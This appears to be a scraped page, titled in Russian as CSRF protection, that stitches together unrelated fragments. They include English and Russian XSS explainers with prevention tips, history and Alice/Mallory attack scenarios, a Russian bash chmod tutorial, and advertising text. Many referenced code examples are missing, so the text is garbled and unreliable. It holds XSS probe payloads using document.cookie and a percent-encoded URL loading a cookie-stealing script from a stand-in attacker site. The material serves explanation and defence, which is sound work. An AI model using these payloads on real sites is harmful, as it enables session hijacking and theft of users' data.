Методы защиты от csrf-атаки

How to Prevent XSS

To keep yourself safe from XSS, you must sanitize your input. Your application code should never output data received as input directly to the browser without checking it for malicious code.

For more details, refer to the following articles: Preventing XSS Attacks and How to Prevent DOM-based Cross-site Scripting. You can also find useful information in the XSS Prevention Cheat Sheet maintained by the OWASP organization.

How to Prevent Cross-site Scripting (XSS) – Generic Tips

Preventing Cross-site Scripting (XSS) is not easy. Specific prevention techniques depend on the subtype of XSS vulnerability, on user input usage context, and on the programming framework. However, there are certain general strategic principles that you should follow to keep your web application safe.

	To keep your web application safe, everyone involved in building the web application must be aware of the risks associated with XSS vulnerabilities. You should provide suitable security training to all your developers, QA staff, DevOps, and SysAdmins. You can start by referring them to this page.
	Treat all user input as untrusted. Any user input that is used as part of HTML output introduces a risk of an XSS. Treat input from authenticated and/or internal users the same way that you treat public input.
	Use an appropriate escaping/encoding technique depending on where user input is to be used: HTML escape, JavaScript escape, CSS escape, URL escape, etc. Use existing libraries for escaping, don’t write your own unless absolutely necessary.
	If the user input needs to contain HTML, you can’t escape/encode it because it would break valid tags. In such cases, use a trusted and verified library to parse and clean HTML. Choose the library depending on your development language, for example, HtmlSanitizer for .NET or SanitizeHelper for Ruby on Rails.
	To mitigate the consequences of a possible XSS vulnerability, set the HttpOnly flag for cookies. If you do, such cookies will not be accessible via client-side JavaScript.
	To mitigate the consequences of a possible XSS vulnerability, also use a Content Security Policy (CSP). CSP is an HTTP response header that lets you declare the dynamic resources that are allowed to load depending on the request source.
	Step 7: Scan regularly (with Acunetix) XSS vulnerabilities may be introduced by your developers or through external libraries/modules/software. You should regularly scan your web applications using a web vulnerability scanner such as Acunetix. If you use Jenkins, you should install the Acunetix plugin to automatically scan every build.

Reflected cross-site scripting

Reflected XSS is the simplest variety of cross-site scripting. It arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.

Here is a simple example of a reflected XSS vulnerability:

The application doesn’t perform any other processing of the data, so an attacker can easily construct an attack like this:

If the user visits the URL constructed by the attacker, then the attacker’s script executes in the user’s browser, in the context of that user’s session with the application. At that point, the script can carry out any action, and retrieve any data, to which the user has access.

Принцип работы межсайтового скриптинга

Ключевая цель XSS — украсть куки пользователя с помощью встроенного на сервер скрипта. После получения этих данных злоумышленник проводит их выборку, сортировку, а затем использует для дальнейших атак и взломов с применением уже другого программного обеспечения и подходов. При этом, атака выполняется не напрямую, а через «дыры» (уязвимости) сайта, на который заходят пользователи-жертвы. При этом, атакованный сайт становится по сути невольным соучастником преступления.

XSS-атаки безопасны для сервера, где располагается сайт, но несут угрозу непосредственно посетителям этого сайта. Но случается и такое, что злоумышленнику удается украсть данные администратора зараженного ресурса и, как следствие, он получает полный доступ к админке и содержимому сайта. Кроме того, если поисковые системы обнаружат на сайте вредоносный код, этому проекту 100% грозит пессимизация. 

Различные типы уязвимости Cross-Site Scripting

Существует в основном три различных типа уязвимости Cross-site Scripting; Stored, Reflected и DOM XSS. Ниже мы рассмотрим более подробно каждого из них.

Stored Cross-site Scripting

Уязвимости Stored Cross-site возникают, когда полезная нагрузка (payload) сохраняется, например, в базе данных, а затем выполняется, когда пользователь открывает страницу в веб-приложении. Stored cross-site scripting очень опасно по ряду причин:

• Полезная нагрузка не видна для фильтра XSS браузера
• Пользователи могут случайно активировать полезную нагрузку, если они посещают уязвимую страницу, в то время как для использования Reflected XSS потребуется специально созданный URL-адрес или особые входные данные.

Пример Stored XSS

Stored XSS-уязвимость может возникнуть, если имя пользователя онлайн-доски объявлений не очищено должным образом при выводе на страницу. В этом случае злоумышленник может вставить вредоносный код при регистрации нового пользователя в форме. Когда имя пользователя отражается на странице доски объявлений, оно будет выглядеть так:

Вышеуказанный вредоносный JavaScript запускается каждый раз, когда пользователь посещает этот раздел форума, и он отправляет злоумышленникам файлы cookie доски объявлений, которые хранятся в браузере пользователя, и затем использует их для кражи сеансов пользователя. Stored XSS может быть очень опасной уязвимостью, поскольку может иметь свойство червя — распространяться, особенно при использовании на популярных страницах.

Например, представьте себе доску объявлений или веб-сайт социальной сети, на котором есть общедоступная страница, которая уязвима для уязвимости stored XSS, такой как страница профиля пользователя. Если злоумышленник может разместить вредоносную полезную нагрузку JavaScript, которая добавляет себя на страницу профиля, вектор атаки выполняется каждый раз, когда посетитель открывает страницу, и полезная нагрузка распространяется с экспоненциальным ростом.

Reflected Cross-site Scripting (XSS)

Reflected XSS-уязвимость возникает, когда пользовательский ввод с URL-адреса или данных POST отражается на странице без сохранения, что позволяет злоумышленнику внедрить вредоносный контент. Это означает, что злоумышленник должен отправить созданный вредоносный URL-адрес или почтовую форму жертве, чтобы вставить полезную нагрузку, и жертва должна щелкнуть ссылку. Этот вид полезной нагрузки также обычно определяется встроенными фильтрами XSS в браузерах пользователя, таких как Chrome, Internet Explorer или Edge.

Пример Reflected XSS

В качестве примера XSS-атак мы будем использовать функцию поиска на новостном веб-сайте, которая работает путем добавления пользовательского ввода, полученного из запроса GET HTTP, к параметру q, как показано в следующем примере:

В результатах поиска веб-сайт отражает содержание запроса, который искал пользователь, например:

Если функция поиска уязвима для уязвимости reflected cross-site scripting, злоумышленник может отправить жертве вредоносный URL-адрес, такой как приведенный ниже:

Когда жертва нажимает на вредоносный URL-адрес, выполняется атака XSS, и на веб-сайте отображается следующее:

Исходный код HTML, который отражает вредоносный код злоумышленника, перенаправляет браузер жертвы на веб-сайт, который контролируется злоумышленником, который затем крадет текущие файлы cookie / токены сеанса пользователя из браузера жертвы для сайта example.com в качестве параметра GET,

Background [ edit ]

Security on the web depends on a variety of mechanisms, including an underlying concept of trust known as the same-origin policy. This essentially states that if content from one site (such as https://mybank.example1.com) is granted permission to access resources (like cookies etc.) on a web browser, then content from any URL with the same (1) URI scheme, (2) host name, and (3) port number will share these permissions. Content from URLs where any of these three attributes are different will have to be granted permissions separately.

Cross-site scripting attacks use known vulnerabilities in web-based applications, their servers, or the plug-in systems on which they rely. Exploiting one of these, attackers fold malicious content into the content being delivered from the compromised site. When the resulting combined content arrives at the client-side web browser, it has all been delivered from the trusted source, and thus operates under the permissions granted to that system. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access-privileges to sensitive page content, to session cookies, and to a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are a case of code injection.

Microsoft security-engineers introduced the term «cross-site scripting» in January 2000. The expression «cross-site scripting» originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (taking advantage of a reflected or non-persistent XSS vulnerability). The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or even HTML scripts), causing some confusion to newcomers to the field of information security.

XSS vulnerabilities have been reported and exploited since the 1990s. Prominent sites affected in the past include the social-networking sites Twitter, Facebook, MySpace, YouTube and Orkut. Cross-site scripting flaws have since surpassed buffer overflows to become the most common publicly reported security vulnerability, with some researchers in 2007 estimating as many as 68% of websites are likely open to XSS attacks.

What is cross-site scripting (XSS)?

Cross-site scripting (also known as XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application. It allows an attacker to circumvent the same origin policy, which is designed to segregate different websites from each other. Cross-site scripting vulnerabilities normally allow an attacker to masquerade as a victim user, to carry out any actions that the user is able to perform, and to access any of the user’s data. If the victim user has privileged access within the application, then the attacker might be able to gain full control over all of the application’s functionality and data.

Input & Output так называемый Источник & Приемник

Логика, лежащая в основе DOM XSS, заключается в том, что ввод от пользователя (источника) направляется в точку выполнения (приемник). В предыдущем примере нашим источником был document.baseURI, а приемником был document.write.

Однако вам нужно понять, что DOM XSS появится, когда источник, которым может управлять пользователь, будет использоваться в опасном приемнике.

Поэтому, когда вы видите это, вам нужно либо внести необходимые изменения в код, чтобы избежать уязвимости для DOM XSS, либо добавить кодировку соответствующим образом.

Ниже приведен список источников и приемников, которые обычно предназначены для атак DOM XSS

Обратите внимание, что это не полный список, но вы можете определить шаблон, все, что может контролироваться злоумышленником в источнике, и все, что может привести к выполнению сценария в приемнике

Популярные приемники

• HTML модифицированные приемники
  • document.write
  • (element).innerHTML
• HTML модифицированные для изменения поведения
• Приемники связанные с выполнением кода
  • eval
  • setTimout / setInterval
  • execScript

Преимущества и задачи

Главная задача любого скрипта на сайте — выполнение заданной функции. В веб-разработке их используют:

• для расширения функционала ресурса, добавления уникальных инструментов;

• сбора статистики о посещениях и посетителях;

• поисковой оптимизации;

• упрощения кода веб-страницы;

• добавления динамических элементов дизайна и т. д.

В контекстной рекламе их стали использовать для автоматизации управления рекламными кампаниями. В качестве примера можно вспомнить автоматические стратегии управления ставками в «Директе» и AdWords.

Другие пользователи могут даже не подозревать, что это не реальный человек, а заскриптованный алгоритм.

Использование скриптов обладает рядом преимуществ.

1. Безопасность. Все сценарии являются независимыми элементами и никак не влияют на работоспособность сайта (системы). То есть, если в скрипте произошла ошибка, это повлияет только на работу отдельной функции, но никак не на работу всего ресурса. Обращаясь к описываемому ранее примеру, работать перестанут только комментарии, но никак не сама веб-страница.

2. Упрощение. Для работы некоторых сценариев достаточно написать одну строчку кода, при этом на обычном языке потребовалось бы написать десятки строк.

3. Наличие инсталляторов. Большинство скриптов снабжено инсталлятором, который сам создает все необходимые файлы конфигурации. Программисту не нужно «ковыряться» в исходном коде, достаточно запустить инсталлятор, ввести все необходимые данные и перейти к настройке в панели управления.

4. Интерпретаторы, встроенные в браузеры. Некоторые скрипты могут выполняться прямо в браузере пользователя, что ускоряет процесс их выполнения.

5. Расширенная функциональность. Script способен расширить функционал сайта, дать ему новые инструменты и возможности для взаимодействия с посетителями.

Скрипты

Для выполнения нескольких команд одним вызовом удобно использовать скрипты. Скрипт – это текстовый файл, содержащий команды для shell. Это могут быть как внутренние команды shell, так и вызовы внешних исполняемых файлов.

Как правило, имя файла скрипта имеет окончание .sh, но это не является обязательным требованием и используется лишь для того, чтобы пользователю было удобнее ориентироваться по имени файла. Для интерпретатора более важным является содержимое файла, а также права доступа к нему.

Перейдем в домашнюю директорию командой и создадим в ней с помощью редактора nano ()файл, содержащий 2 строки:

Чтобы выйти из редактора nano после набора текста скрипта, нужно нажать Ctrl+X, далее на вопрос «Save modified buffer?» нажать Y, далее на запрос «File Name to Write:» нажать Enter. При желании можно использовать любой другой текстовый редактор.

Скрипт запускается командой , т.е. перед именем файла указывает на то, что нужно выполнить скрипт или исполняемый файл, находящийся в текущей директории. Если выполнить команду , то будет выдана ошибка, т.к. оболочка будет искать файл в директориях, указанных в переменной среды PATH, а также среди встроенных команд (таких, как, например, pwd):

Ошибки не будет, если выполнять скрипт с указанием абсолютного пути, но данный подход является менее универсальным: . Однако на данном этапе при попытке выполнить созданный файл будет выдана ошибка:

Проверим права доступа к файлу:

Из вывода команды видно, что отсутствуют права на выполнение. Рассмотрим подробнее на картинке:

Права доступа задаются тремя наборами: для пользователя, которому принадлежит файл; для группы, в которую входит пользователь; и для всех остальных. Здесь r, w и x означают соответственно доступ на чтение, запись и выполнение.

В нашем примере пользователь (test) имеет доступ на чтение и запись, группа также имеет доступ на чтение и запись, все остальные – только на чтение. Эти права выданы в соответствии с правами, заданными по умолчанию, которые можно проверить командой . Изменить права по умолчанию можно, добавив вызов команды umask с нужными параметрами в файл профиля пользователя (файл ~/.profile), либо для всех пользователей в общесистемный профиль (файл /etc/profile).

Для того, чтобы установить права, используется команда . Например, чтобы выдать права на выполнение файла всем пользователям, нужно выполнить команду:

Чтобы выдать права на чтение и выполнение пользователю и группе:

Чтобы запретить доступ на запись (изменение содержимого) файла всем:

Также для указания прав можно использовать маску. Например, чтобы разрешить права на чтение, запись, выполнение пользователю, чтение и выполнение группе, и чтение – для остальных, нужно выполнить:

Будут выданы права :

Указывая 3 цифры, мы задаем соответствующие маски для каждой из трех групп. Переведя цифру в двоичную систему, можно понять, каким правам она соответствует. Иллюстрация для нашего примера:

Символ перед наборами прав доступа указывает на тип файла ( означает обычный файл, – директория, – ссылка, – символьное устройство, – блочное устройство, и т. д.). Соответствие числа, его двоичного представления и прав доступ можно представить в виде таблицы:

Число	Двоичный вид	Права доступа
000	Нет прав
1	001	Только выполнение (x)
2	010	Только запись (w)
3	011	Запись и выполнение (wx)
4	100	Только чтение (r)
5	101	Чтение и выполнение (rx)
6	110	Чтение и запись (rw)
7	111	Чтение, запись и выполнение (rwx)

Выдав права на выполнение, можно выполнить скрипт:

Первая строка в скрипте содержит текст . Пара символов называется Шеба́нг (англ. shebang) и используется для указания интерпретатору, с помощью какой оболочки выполнять указанный скрипт. Это гарантирует корректность исполнения скрипта в нужной оболочке в случае, если у пользователя будет указана другая.

Также в скриптах можно встретить строку . Но, как правило, /bin/sh является ссылкой на конкретный shell, и в нашем случае /bin/sh ссылается на /bin/dash, поэтому лучше явно указывать необходимый интерпретатор. Вторая строка содержит команду , результат работы которой мы видим в приведенном выводе.

Классификация XSS

Не существует какой-то четкой классификации для межсайтового скриптинга. Но эксперты выделяют 3 ключевые вида XSS-атак. Рассмотрим их.

1. Постоянные (хранимые)

Один из наиболее опасных типов уязвимости, ведь такая брешь дает злоумышленнику доступ к серверу, после чего он сможет управлять с него своим вирусным кодом (например, модифицировать его). Каждый раз в процессе обращения к сайту выполняется код, который был загружен раньше. Он работает в фоновом режиме, автоматически. 

Обычно такие бреши можно обнаружить на страницах сайтов с формами для подтверждения каких-либо операций, блогами с функциями комментирования, порталами и т.п. Причем, вредоносные скрипты в таких случаях можно будет максимально легко и просто встроить не только в текст на странице, но и в графику и прочий контент.

2. Непостоянные (отраженные)

В таком случае вредоносный скрипт играет роль запроса жертвы к сайту с вирусом. Все функционирует по такой схеме:

1. Злоумышленником формируется УРЛ, содержащий вредоносный код.
2. Этот УРЛ отправляется жертве, которая кликает по нему и переходит на сайт.
3. Сайт автоматически получает информацию из вредоносного УРЛа и подставляет жертве ответ в виде модифицированного УРЛа.
4. В результате браузер на компьютере жертвы выполняет скрипт злоумышленниками и он получает все куки пользователя. 

3. DOM

Это некий совмещенный вариант, подразумевающий использование и непостоянных, и постоянных XSS-атак. Работает такая методика следующим образом:

Is Your Website or Web Application Vulnerable to Cross-site Scripting

Cross-site Scripting vulnerabilities are one of the most common web application vulnerabilities. The OWASP organization (Open Web Application Security Project) lists XSS vulnerabilities in their OWASP Top 10 2017 document as the second most prevalent issue.

Fortunately, it’s easy to test if your website or web application is vulnerable to XSS and other vulnerabilities by running an automated web scan using the Acunetix vulnerability scanner, which includes a specialized XSS scanner module. Take a demo and find out more about running XSS scans against your website or web application. An example of how you can detect blind XSS vulnerabilities with Acunetix is available in the following article: How to Detect Blind XSS Vulnerabilities.

Примеры использования

Злоумышленники, намеревающиеся использовать уязвимости межсайтового скриптинга, должны подходить к каждому классу уязвимостей по-разному. Для каждого класса здесь описан конкретный вектор атаки. Приведенные ниже имена являются техническими терминами, взятыми из набора персонажей Алисы и Боба, обычно используемых в компьютерной безопасности.

Структура использования браузера может использоваться для атаки на веб-сайт и локальную среду пользователя.

Непостоянный

Чтобы смягчить эту атаку, можно было сделать несколько вещей:

1. Вход для поиска можно было бы очистить, что включало бы правильную проверку кодировки.
2. Веб-сервер может быть настроен на перенаправление недействительных запросов.
3. Веб-сервер может обнаружить одновременный вход в систему и аннулировать сеансы.
4. Веб-сервер может обнаруживать одновременный вход с двух разных IP-адресов и аннулировать сеансы.
5. Веб-сайт может отображать только несколько последних цифр ранее использованной кредитной карты.
6. Веб-сайт может потребовать от пользователей еще раз ввести свои пароли перед изменением регистрационной информации.
7. Веб-сайт может вводить в действие различные аспекты Политики безопасности контента .
8. Установите cookie с флагом для предотвращения доступа из JavaScript.

<script> alert (document.cookie) </script>

Постоянная атака

1. Мэллори получает аккаунт на сайте Боба.
2. Мэллори отмечает, что веб-сайт Боба содержит сохраненную уязвимость XSS: если кто-то зайдет в раздел новостей и разместит комментарий, на сайте отобразится все, что было введено. Если текст комментария содержит теги HTML, они будут добавлены в исходный код веб-страницы; в частности, любые теги скрипта будут запускаться при загрузке страницы.
3. Мэллори читает статью в разделе новостей и вводит комментарий:
4. Когда Алиса (или кто-либо другой) загружает страницу с комментарием, тег сценария Мэллори запускается и крадет файл cookie авторизации Алисы, отправляя его на секретный сервер Мэллори для сбора.
5. Теперь Мэллори может захватить сеанс Алисы и выдать себя за Алису.

Программное обеспечение веб-сайта Боба должно было удалить тег сценария или сделать что-нибудь, чтобы убедиться, что он не работает; ошибка безопасности заключается в том, что он этого не сделал.

Задний план

Безопасность в Интернете зависит от множества механизмов, включая базовую концепцию доверия, известную как политика одного и того же происхождения. По сути, это означает, что если контенту с одного сайта (например, https://mybank.example1.com ) предоставлено разрешение на доступ к ресурсам (например, cookie и т. Д.) В веб-браузере , то контент с любого URL-адреса с таким же (1) Схема URI, (2) имя хоста и (3) номер порта будут совместно использовать эти разрешения. Контенту из URL-адресов, где любой из этих трех атрибутов отличается, необходимо будет предоставлять разрешения отдельно.

Атаки с использованием межсайтовых сценариев используют известные уязвимости в веб-приложениях, их серверах или подключаемых модулях, на которых они полагаются. Используя один из них, злоумышленники встраивают вредоносный контент в контент, который доставляется с взломанного сайта. Когда результирующий комбинированный контент поступает в клиентский веб-браузер, он все доставляется из надежного источника и, таким образом, работает в соответствии с разрешениями, предоставленными этой системе. Находя способы внедрения вредоносных сценариев на веб-страницы, злоумышленник может получить повышенные права доступа к конфиденциальному содержимому страницы, к файлам cookie сеанса и к разнообразной другой информации, поддерживаемой браузером от имени пользователя. Атаки с использованием межсайтовых сценариев — это случай внедрения кода .

Инженеры по безопасности Microsoft ввели термин «межсайтовый скриптинг» в январе 2000 года. Выражение «межсайтовый скриптинг» первоначально относилось к процессу загрузки атакованного стороннего веб-приложения с несвязанного атакующего сайта способом. который выполняет фрагмент JavaScript, подготовленный злоумышленником в контексте безопасности целевого домена (используя отраженную или непостоянную уязвимость XSS). Определение постепенно расширялось, чтобы охватывать другие режимы внедрения кода, включая постоянные векторы и векторы, не относящиеся к JavaScript (включая ActiveX , Java , VBScript , Flash или даже HTML- скрипты), что привело к некоторой путанице для новичков в области информационной безопасности .

Об уязвимостях XSS сообщалось и они использовались с 1990-х годов. Известные сайты, затронутые в прошлом, включают сайты социальных сетей Twitter ,
Facebook ,
MySpace , YouTube и Orkut . С тех пор ошибки межсайтового скриптинга превзошли переполнение буфера и стали наиболее распространенной уязвимостью системы безопасности, о которой сообщалось ранее. Некоторые исследователи в 2007 году оценили, что до 68% веб-сайтов, вероятно, открыты для XSS-атак.

Метод реализации XSS-атаки

Вредоносный код для осуществления межсайтового скриптинга пишется на языке JavaScript и запуститься он может исключительно в браузере жертвы. Поэтому ресурс, который открывает пользователь, должен быть незащищенным от XSS (быть уязвимым к такого рода атакам). 

Поэтому чтобы совершить XSS, первым делом злоумышленник проводит поиск сайтов, уязвимых к скриптингу. Делается это либо вручную через поиск, либо с помощью автоматизированных приложений. Как правило, тестируются стандартные формы, через которые выполняется отправка/прием запросов: система поиска по сайту, комментарии, обратная связь и т.п. Обычно злоумышленники выполняют проверку на уязвимость к XSS через Internet Explorer.

В ходе такого «исследования» выполняется сбор данных со страниц с формами ввода и каждая из таких страниц сканируется на наличие уязвимостей к XSS. К примеру, на вашем сайте есть страница для поиска по блогу. Чтобы проверить ее на уязвимость к скрипту, нужно использовать запрос: 

<script>alert(«cookie: «+document.cookie)</script>

Если на дисплее появляется окно с сообщением об обнаруженной уязвимости, нужно срочно предпринимать меры. Если бреши нет, вы просто увидите привычную страницу с поиском.

Если сайт управляется какой-то популярной CMS, то бреши быть не должно, так как современные системы управления контентом сайта надежно защищены от XSS. Но, если вы расширяли функциональные возможности своего сайта при помощи каких-либо плагинов, модулей и дополнений, которые были разработаны сторонними веб-программистами, есть риск обнаружения уязвимости к XSS. А особенно это касается доработок для WordPress, Joomla, DLE и Bitrix. 

Альтернативный вариант поиска бреши на сайте — использование страниц, работающих с GET-запросами. К примеру, мы имеем ссылку http://site.com/catalog?p=7. В браузерной строке вместо идентификатора «7» мы вписываем скрипт «><script>alert(«cookie: «+document.cookie)</script>, после чего получаем ссылку вида http://site.com/catalog?p=»><script>alert(«cookie: «+document.cookie)</script>. Если на этой странице будет обнаружена уязвимость, на дисплее появится уведомление с соответствующей информацией. 

Разумеется, злоумышленники используют для поиска брешей на сайтах массу различных скриптов с запросами и, если вдруг ни один из них не дает желаемого результата, значит атаковать сайт с помощью XSS не получится, так как он имеет надежную защиту.

Stored cross-site scripting

Stored XSS (also known as persistent or second-order XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.

The data in question might be submitted to the application via HTTP requests; for example, comments on a blog post, user nicknames in a chat room, or contact details on a customer order. In other cases, the data might arrive from other untrusted sources; for example, a webmail application displaying messages received over SMTP, a marketing application displaying social media posts, or a network monitoring application displaying packet data from network traffic.

Here is a simple example of a stored XSS vulnerability. A message board application lets users submit messages, which are displayed to other users:

The application doesn’t perform any other processing of the data, so an attacker can easily send a message that attacks other users:

Как эксплуатируется уязвимость

Конечно, когда вы просто пишете какой-то код, трудно представить, что вы напишете в строке </script> и не заметите проблем. Как минимум, подсветка синтаксиса даст вам знать, что тег закрылся раньше времени, как максимум, написанный вами код не запустится и вы будете долго искать, что произошло. Но это не является основной проблемой с этой уязвимостью. Проблема возникает там, где вы вставляете какой-то контент в Javascript, когда генерируете HTML. Вот частый кусок кода приложений на реакте с серверным рендерингом:

В </script> может появиться в любом месте, где данные поступают от пользователя или из других систем. не будет менять такие строки при сериализации, потому что они полностью соответствуют формату JSON и Javascript, поэтому они просто попадут на страницу и позволят злоумышленнику выполнить произвольный Javascript в браузере пользователя.

Другой пример:

Тут в строки с соответствующим экранированием записываются пользователя и , который пришел на сервер. И, если в вряд ли будет что-то кроме цифр, то в злоумышленник может запихнуть что угодно.

Но на закрывающем теге </script> приколы не заканчиваются. Опасность представляет и открывающий тег <script>, если перед ним в любом месте есть символы , которые в обычном HTML обозначают начало многострочного комментария. Причем в этом случае вам уже не поможет подсветка синтаксиса большинства редакторов.

Что видит здоровый человек и большинство подсветок синтаксиса в этом коде? Два тега <script>, между которыми находится параграф.

Что видит больной парсер HTML5? Он видит один (!) незакрытый (!) тег <script>, содержащий весь текст со второй строчки до последней.

Я до конца не понимаю, почему это так работает, мне понятно лишь, что встретив где-либо символы , парсер HTML начинает считать открывающие и закрывающие теги <script> и не считает скрипт законченным, пока не будут закрыты все открытые теги <script>. То есть в большинстве случаев этот скрипт будет идти до конца страницы (если только кто-то не смог внедрить еще один лишний закрывающий тег </script> ниже, хе-хе). Если вы до этого не сталкивались с подобным, то можете подумать, что я сейчас шучу. К сожалению, нет. Вот скриншот DOM-дерева примера выше:

Самое неприятное, что в отличие от закрывающего тега </script>, который в Javascript может встретиться только внутри строковых литералов, последовательности символов и могут встретиться и в самом коде! И будут иметь точно такой же эффект.

Exploit examples [ edit ]

Attackers intending to exploit cross-site scripting vulnerabilities must approach each class of vulnerability differently. For each class, a specific attack vector is described here. The names below are technical terms, taken from the Alice-and-Bob cast of characters commonly used in computer security.

The Browser Exploitation Framework could be used to attack the web site and the user’s local environment.

Non-persistent

1. Alice often visits a particular website, which is hosted by Bob. Bob’s website allows Alice to log in with a username/password pair and stores sensitive data, such as billing information. When a user logs in, the browser keeps an Authorization Cookie, which looks like some garbage characters, so both computers (client and server) have a record that she’s logged in.
2. Mallory observes that Bob’s website contains a reflected XSS vulnerability:

1. When she visits the Search page, she inputs a search term in the search box and clicks the submit button. If no results were found, the page will display the term she searched for followed by the words «not found,» and the url will be http://bobssite.org/search?q=her%20search%20term .
2. With a normal search query, like the word «puppies«, the page simply displays «puppies not found» and the url is «http://bobssite.org/search?q=puppies» — which is perfectly normal behavior.
3. However, when she submits an abnormal search query, like » script type = ‘application/javascript’ > alert ( ‘xss’ ); script > «,

1. An alert box appears (that says «xss»).
2. The page displays » not found,» along with an error message with the text ‘xss’.
3. The url is » http://bobssite.org/search?q= — which is exploitable behavior.

Mallory crafts a URL to exploit the vulnerability:

She makes the URL http://bobssite.org/search?q=puppies . She could choose to encode the ASCII characters with percent-encoding, such as http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E , so that human readers cannot immediately decipher the malicious URL.
She sends an e-mail to some unsuspecting members of Bob’s site, saying «Check out some cute puppies!»
Alice gets the e-mail. She loves puppies and clicks on the link. It goes to Bob’s website to search, doesn’t find anything, and displays «puppies not found» but right in the middle, the script tag runs (it is invisible on the screen) and loads and runs Mallory’s program authstealer.js (triggering the XSS attack). Alice forgets about it.
The authstealer.js program runs in Alice’s browser, as if it originated from Bob’s website. It grabs a copy of Alice’s Authorization Cookie and sends it to Mallory’s server, where Mallory retrieves it.
Mallory now puts Alice’s Authorization Cookie into her browser as if it were her own. She then goes to Bob’s site and is now logged in as Alice.
Now that she’s in, Mallory goes to the Billing section of the website and looks up Alice’s credit card number and grabs a copy. Then she goes and changes her password so Alice can’t even log in anymore.
She decides to take it a step further and sends a similarly crafted link to Bob himself, thus gaining administrator privileges to Bob’s website.

Several things could have been done to mitigate this attack:

1. The search input could have been sanitized which would include proper encoding checking.
2. The web server could be set to redirect invalid requests.
3. The web server could detect a simultaneous login and invalidate the sessions.
4. The web server could detect a simultaneous login from two different IP addresses and invalidate the sessions.
5. The website could display only the last few digits of a previously used credit card.
6. The website could require users to enter their passwords again before changing their registration information.
7. The website could enact various aspects of the Content Security Policy.
8. Set cookie with HttpOnly flag to prevent access from JavaScript.